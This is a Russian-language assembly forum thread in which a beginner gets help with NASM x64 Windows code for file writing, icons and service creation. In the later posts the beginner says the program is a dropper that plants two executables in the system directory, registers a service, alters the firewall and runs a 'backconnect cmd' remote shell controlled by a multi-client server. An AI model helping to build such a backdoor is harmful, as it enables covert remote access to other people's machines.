Hacker, третий раз пишу, читай книжки о NASM (в ресурсах есть книга Столярова "Программирование на NASM для Unix"). В данном случае никакой разницы с FASM нет. Имя переменной в квадратных скобках ― содержимое переменной, имя переменной без квадратных скобок ― адрес переменной Код (ASM): hFile resq 1 ... mov qword [rsp+30h],0;hTemplateFile mov qword [rsp+28h],FILE_ATTRIBUTE_NORMAL ;dwFlagsAndAttributes mov qword [rsp+20h],CREATE_NEW;dwCreationDisposition xor r9d, r9d;lpSecurityAttributes mov r8d,FILE_SHARE_READ | FILE_SHARE_WRITE;dwShareMode mov edx,GENERIC_READ | GENERIC_WRITE;dwDesiredAccess mov ecx , Buffer_Path;lpFileName call CreateFileA mov [hFile] , rax and qword [rsp+20h],0;lpOverlapped mov r9d,pBytesWritten;lpNumberOfBytesWritten mov r8d,[wget_len] ;nNumberOfBytesToWrite mov edx,wget ;lpBuffer mov ecx,eax ;hFile call WriteFile mov rcx,[hFile] call CloseHandle
Если записываю без скобок по адресу, как мне нужно я понимаю... то main.asm:47: error: invalid combination of opcode and operands main.asm:78: error: invalid combination of opcode and operands не ругайтейсь на меня сильно я только учусь у меня нету стажа
Фаил не записывается полностью все равно. Из 4923280 байт записываются только 4202792. Почему так? --- Сообщение объединено, 10 янв 2021 --- Что это и для чего? --- Сообщение объединено, 10 янв 2021 --- И еще есть синхронная запись и асинхронная, может мне WriteFileEx нужна?
Hacker, как думаешь, есть какая-то разница между hFile resq 1 и hFile dq 1 ? И я в #42 пример работы с файлом показал, ты его использовал?
Зарезервировать Q слово и определить... есть но небольшая Так почему фаил то недописывается? Щас GetLastError скажу какой у WriteFile
https://yadi.sk/d/-sXzGNAl8okQnw Ни какой программы еще особо нету. Должна быть оболочка, клиент и сервер по планам Wget мне нужен просто в системе
Hacker, как я и думал количество байт у тебя передается в wget_len, эта переменная в квадратных скобках? Нет? Тогда 4202792 это адрес переменной wget_len. Мораль, скачай Столярова, читай и учи наизусть
Да! Спасибо, всё получилось! Я разберусь со времением с адрисами и самими переменными, мне нужна практика
Hacker, надеешься на других, не читаешь книги, не упираешься рогом, какая тут может быть практика? Rel прав , пиши на С++/Delphi, добивайся правильности работы программы, а уже потом переводи с С++/Delphi на NASM
Hacker, твоя программа создает окно? Тогда найди RegisterClassEx, она загружает WindowsClass, один из ее параметров это иконка. Если иконка из какого-то файла, тогда понадобится LoadCursorFromFile или LoadIconA. Более подробно об установки иконки читай в Глава восьмая. Как Братец Кролик создал «генератор окошек»
Нет main модуль не создает окна, она просто распаковывает 2 exe в системную директорию и всё настраивает что нужно, регистрирует сервис, настраивает фаерволл и тп. Соответственно один ехе это wget как аддон а второй клиент это будет модуль backconnect cmd в виде сервиса. Думаю вот как писать сервер, хотелось бы что бы можно было выбрать из коннекта нескольких клиентов по имени хоста и IP домустим. Если отсальные исходинки частично есть в интернете то мультисервера такого я не видел. Мну нужна иконка для exe самого main модуля который распаковывать будет совт.
Ну у меня наверное окно без оконной процедуры тогда я не знаю В параметрах линкера я не указываю что это консоль значит он линкует как GUI А может и диалог, Вы мне скажите
Ну как человек будет запускать руками без иконки фаил? Подскажите какие значения тут стека передавать там 13 аргументов у функции? Код (ASM): ServiceInit: mov r8 , SC_MANAGER_ALL_ACCESS mov rdx , 0 mov rcx , 0 call OpenSCManagerA mov [SCH] , rax push 0 push 0 push 0 push 0 push 0 push Buffer mov qword [rsp+30h] , 00000001h mov qword [rsp+28h] , 00000002h mov qword [rsp+20h] , 00000110h mov r9 , SERVICE_ALL_ACCESS mov r8 , SERVICE_DISP mov rdx , SERVICE_NAME mov rcx , [SCH] call CreateServiceA mov [SVC] , rax mov rcx , [SCH] call CloseServiceHandle mov rcx , [SVC] call CloseServiceHandle